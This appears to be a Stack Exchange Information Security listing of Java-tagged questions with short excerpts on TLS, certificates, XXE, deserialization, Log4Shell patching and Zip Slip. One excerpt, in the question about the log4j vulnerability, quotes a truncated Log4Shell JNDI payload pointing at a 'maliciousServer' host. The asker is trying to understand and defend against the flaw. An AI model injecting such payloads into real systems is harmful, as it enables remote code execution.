Questions tagged [java]
Security aspects specific to the Java programming language, libraries, and virtual machine.
708
questions
1
vote
2
answers
62
views
Java Cryptography classes - program agnostic usage
We are planning on implementing encryption or digital signatures using any of the available classes provided by the Java Cryptography Architecture (e.g. KeyPair, MessageDigest, Cipher, KeyStore, ...
- 11
0
votes
0
answers
11
views
Intent Redirection If The Activity Is Exported [migrated]
What are the security implications of an Android app that exports an activity and accepts a parcelable intent as an extra to start a service? Specifically, in the code sample provided below, how can ...
- 1
0
votes
0
answers
17
views
Is there any stable Java library to perform the same set of operations on USB tokens as javax.smartcadio does?
I need to perform a public/private key generation on USB devices and store private key parts on at least 3 USB tokens.
Java javax.smartcardio allows to perform such an operation on Smart-cards that I ...
- 101
0
votes
1
answer
46
views
Information leakage from a API 404 response
Our consulting company has received a VAPT from a consulting company on behalf of a financial customer.
The application has an HR/group management module.
Normally employees are created by an ...
- 5,361
0
votes
0
answers
51
views
Disabling weak cipher suites in Tomcat does not work as expected
I have to get rid of so called "weak security" in a Tomcat application.
A penetration test identified services that accept connections with insecure TLS encryption and hashing algorithms: ...
- 151
0
votes
1
answer
61
views
Jsoup XSS attack with URL encoded input
I'm having a Spring Web Application that exposes REST APIs.
I have implemented XSS filter using Jsoup that strips the input using Safelist.NONE.
The penetration testing team raised a concern where the ...
- 103
1
vote
1
answer
42
views
Is there a way someone can read arrays of bytes which I send with java sockets while using TLS 1.2?
If anyone can answer me pls I just need an anwer. I know thus isn't maybe right place for this question
I created chatting app with sockets in Java 8 and i use TLS 1.2 My question is: Is there any way ...
- 11
1
vote
1
answer
250
views
Is DPAPI still valid option to protect eg. encryption key?
I have an Java client program for Windows having a properties file that I need to be able to encrypt (protect it if a malicious user accesses the server and properties file) but the client program of ...
- 113
1
vote
0
answers
173
views
Given a Java ECPublicKey ECDSA PublicKey, how can I build an SSH2 public key? [closed]
I have created a ECDSA key and now need to convert this to SSH2 key.
final KeyPairGenerator keyGen = KeyPairGenerator.getInstance("ECDSA");
ECGenParameterSpec params = new ...
- 11
0
votes
0
answers
77
views
How to extract the primary user id from a PGP key
I am writing a front-end to display details about the PGP keys that we have stored in a database. One question I have is how to know which user id is the "primary" user id. For example, a ...
- 1
1
vote
0
answers
205
views
Why is there no fix for the commons beanutils Java deserialization gadget?
I recently came across a vulnerability which was caused by unsafe deserialization (Java) and the use of the Apache Commons library commons-beanutils. The ysoserial project references commons-beanutils ...
- 2,634
0
votes
0
answers
129
views
how to know CVE affects which Jar/artifact?
When I'm trying to analyze CVEs to detect which jars are affected by the CVE, I getting confused.
Let's take as an example this CVE: CVE-2022-22978
In the description:
"In Spring Security ...
0
votes
0
answers
57
views
How to find a potential JSON Java deserialization code vulnerability with a whitebox approach in web server source code?
I would like to know a somewhat general approach for white box vulnerability scanning, mainly focused around Java deserialization code bugs that could lead to RCEs (Remote Code Execution following ...
- 1
0
votes
2
answers
408
views
Is TLS version related to the server in a Java thick client application?
In a recent pentest (Java thick client), it was discovered by the pentesters that TLS version 1.3 is not supported. I'm investigating why it is not supported, so I was looking in the Java code for ...
2
votes
1
answer
91
views
Defining scope of a software pen test
If I own a software and I want to conduct a pen test with pen testers, should I define the scope or do the pen testers assess the software first and they define the scope? How does scope definition ...
2
votes
2
answers
259
views
Java support for TLS_DHE_RSA_WITH_AES_128_CCM
My test tool uses java and I need it to use TLS_DHE_RSA_WITH_AES_128_CCM.
Does standard java (Oracle) support CCM cipher suites?
I am seeing oracle links mentioning CCM but am not able to make it work....
- 61
-1
votes
1
answer
124
views
Modifying cacerts at runtime
I have an containerized JVM application (multiple actually) running on kubernetes, which needs to trust additional custom/private CAs (which are not known beforehand, the application will be deployed ...
- 1
1
vote
2
answers
260
views
Java XXE vulnerability
If I am already using
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
then do I also need to use
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities",...
- 11
3
votes
0
answers
892
views
How to Securely Store Database Password in Java .properties File
I would like to store my DB password in Java .property file and encrypt it using Jasypt. But from what I see, it just moves the problem from hiding the DB Password to hiding the encryption password.
I ...
- 41
17
votes
2
answers
3k
views
How are code-branch side channel attacks mitigated on Java?
When you are working with secret keys, if your code branches unequally it could reveal bits of the secret keys via side channels. So for some algorithms it should branch uniformly independently of the ...
- 415
0
votes
1
answer
223
views
What to do if my java app is still vulnerable to log4shell after upgrading to the latest log4J?
My Java 11 application is being upgraded to fix the log4shell flaw. So first Spring Boot has been upgraded to the latest version.
As my project uses Maven to manage its dependencies, I set the log4j ...
- 101
0
votes
1
answer
85
views
How do different secret-key algorithms generate the same data?
How do different secret-key algorithms generate the same data?
In the snippet below, I use PBEWithMD5AndDES to produce one key, and PBEWithHmacSHA256AndAES_256 to produce another key, but with the ...
- 3
1
vote
0
answers
115
views
Insufficient SSL certificate pinning in an native Android app
I have implemented Certificate Pinning in a prototype of an android app. Here are the steps I followed:
Converted .crt file to .bks file
Added the .bks file to the asset folder in project structure
...
- 11
0
votes
1
answer
285
views
Openssl and Let's Encrypt Cert Chain
I'm trying to understand openssl and some cert issues I was trying to track down. These certs were issued from Let's Encrypt. I will use their site as an example because I see the same behavior there. ...
0
votes
1
answer
604
views
Does alias in a truststore matter?
I was trying to add a new certificate to our truststore. But I got the alias already exists error.
I can't remove the old certificate yet, but I have to add the new certificate.
Will it matter if I ...
- 1
0
votes
1
answer
251
views
How do I test for Reflected XSS in webpage titles, url parameters and javascript variables?
I have a java web app. I'm using OWASP Java Encoder to encode for html, javascript and url components to mitigate reflected XSS. I'm new to this so I'm not sure on how to test on my web app for the ...
0
votes
0
answers
49
views
Third Party Java 8 Program Running in Java 11 vs Java 8?
If a vendor provides you with a program written for Java 8, is there any security advantage of running that program in the latest OpenJDK build of Java 11 instead of the latest OpenJDK build of Java 8?...
- 113
35
votes
3
answers
20k
views
Am I protected from Log4j vulnerability if I run Java 8u121 or newer?
According to the notes for CVE-2021-44228 at mitre.org:
Java 8u121 (see
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
protects against remote code execution by defaulting
"...
- 503
3
votes
1
answer
1k
views
How to validate if Log4Shell patch is applied?
Is it enough to upgrade log4j-core and log4j-api to 2.15.0 but leave log4j-slf4j-impl, which is a binding library, to 2.14.1, given that mvn dependency:tree suggests that log4j-slf4j-impl:2.14.1 is ...
- 133
4
votes
1
answer
352
views
Does the log4j RCE vulnerability run even if the message is just a part of the logged string?
Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string?
For example, if the code contains:
paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
- 143
0
votes
1
answer
2k
views
CheckMarx SSRF Vulnerability
I have a REST which takes a parameter dataSource as input and myService has follow logic.
@RequestMapping(value ="/save", method = RequestMethod.POST)
public List<String> find(@...
2
votes
0
answers
165
views
Does Java cache intermediate certificates fetched via AIA?
Java supports AIA chasing via the system property com.sun.security.enableAIAcaIssuers (which is disabled per default). There is some documentation available but it is pretty slim regarding details.
I ...
- 131
0
votes
1
answer
195
views
How to encrypt REST body with openid connect OIDC
The big picture is:
an android application which authenticate user with an external openid provider (such as azure AD)
a Java EE server which expose rest endpoints securized with the validation of ...
1
vote
1
answer
175
views
Generate key pair and entropy
I would like to use the method described in https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation to generate a key pair in a java application:
import java.util.*;
import com....
- 633
0
votes
0
answers
90
views
SSL newbie - in which scenario a client needs a certificate?
I am new to SSL/TLS, and need some help with understanding.
I am running a java application, which is able to consume HTTP and HTTPS URLs as a client from the internet via httpClient. For that, I don'...
2
votes
2
answers
277
views
About vulnerability in the dependency
I have read many articles about the vulnerability in the program dependency, either direct or transitive.
Here are two questions come out of my mind.
If a dependency A has a vulnerability (Maybe has ...
- 153
0
votes
1
answer
137
views
Unrestricted file write in Java
Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly ...
- 1
3
votes
2
answers
779
views
Semicolon's relation with reverse proxy
What is the relation of semicolon with reverse proxy and how is it able to escape context/servlet mapping in reverse proxies such as IIS, NGINX, Apache?
Like I've seen multiple times where people have ...
- 33
1
vote
1
answer
1k
views
Can I get AES CBC key from known plaintext, ciphertext, iv? [duplicate]
Long story short: I was using AES CBC PKCS5 on my image server, but I lost my keys (one key per image).
I know the first 61 bytes (the original and the encrypted) of each image plus I know the IV, and ...
- 11
1
vote
1
answer
114
views
Dyanamic class load for server side application
Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in ...
- 11
1
vote
1
answer
176
views
Deobfucate java code by running it
Can I deobfuscate java code (apk, that contains obfuscated code, or java bytecode), when running it?
If android gets able to run code, so he must get those keys, and get access to code which to run.
...
- 11
1
vote
0
answers
205
views
How to extract Wireshark keylog from a Java JSSE TLSv1.3 Session
Is it possible to extract the Wireshark keylog information directly from the TLSv1.3 handshake in a Java app? If so, how do I map the fields, or is additional material not shared in the handshake ...
- 111
1
vote
0
answers
151
views
How to install Java 8 on Kali Nethunter [closed]
Guys I need to install jdk 8 for my programs to work better, many programs do not support the version higher than Java 8 so I want to install Java 8 to run better, I tried to install via apt-get, but ...
- 111
1
vote
1
answer
215
views
Blind SQL Injection POC in Java
I am looking for some java applications (other than Manage Engine) vulnerable to Blind SQL Injection attacks for Authentication Bypass. I explored exploitdb and others but didn't find anything ...
- 191
1
vote
0
answers
178
views
How to pentest a java application run through webswing?
I need to pentest a Java application through webswing. webswing allows running a java application in a web browser but how to pentest this?
I didn't find any documentation about this actually. With my ...
- 259
1
vote
1
answer
2k
views
How to remove a ca certificate in debian?
I have added a root ca in my debian machine by using the following commands:
mkdir /usr/local/share/ca-certificates/custom/
mv myserver.crt /usr/local/share/ca-certificates/custom/
update-ca-...
- 63
2
votes
0
answers
120
views
Why do security-sensitive APIs prefer char[] over String when handling pass-phrases even in Java? What threat are they protecting against?
Although
What is the best way to store password in memory (RAM) in Java?
covers the same territory, this question has the aspect of noticing
what other people do and wondering why. The question on SO:...
- 542
1
vote
1
answer
302
views
Short digital signature
I want to digitally sign messages with strict size limitations. I am looking for digital signature algorithm providing very short signatures. (as short as possible)
Which secure algorithms can I ...
- 111
2
votes
1
answer
266
views
Ways to reduce supply chain risks for java apps
What are the best practices for supply chain risks reduction for java applications? In my opinion java dependency management has the following downsides:
Java applications use 3rd party dependencies ...
- 379
2
votes
0
answers
308
views
Zip Slip path traversal and consistent vulnerability checks
According to multiple sources such as snyk and infoq, preventing a "Zip Slip" vulnerability in Java can be achieved by denying writes outside the target directory:
String ...
- 121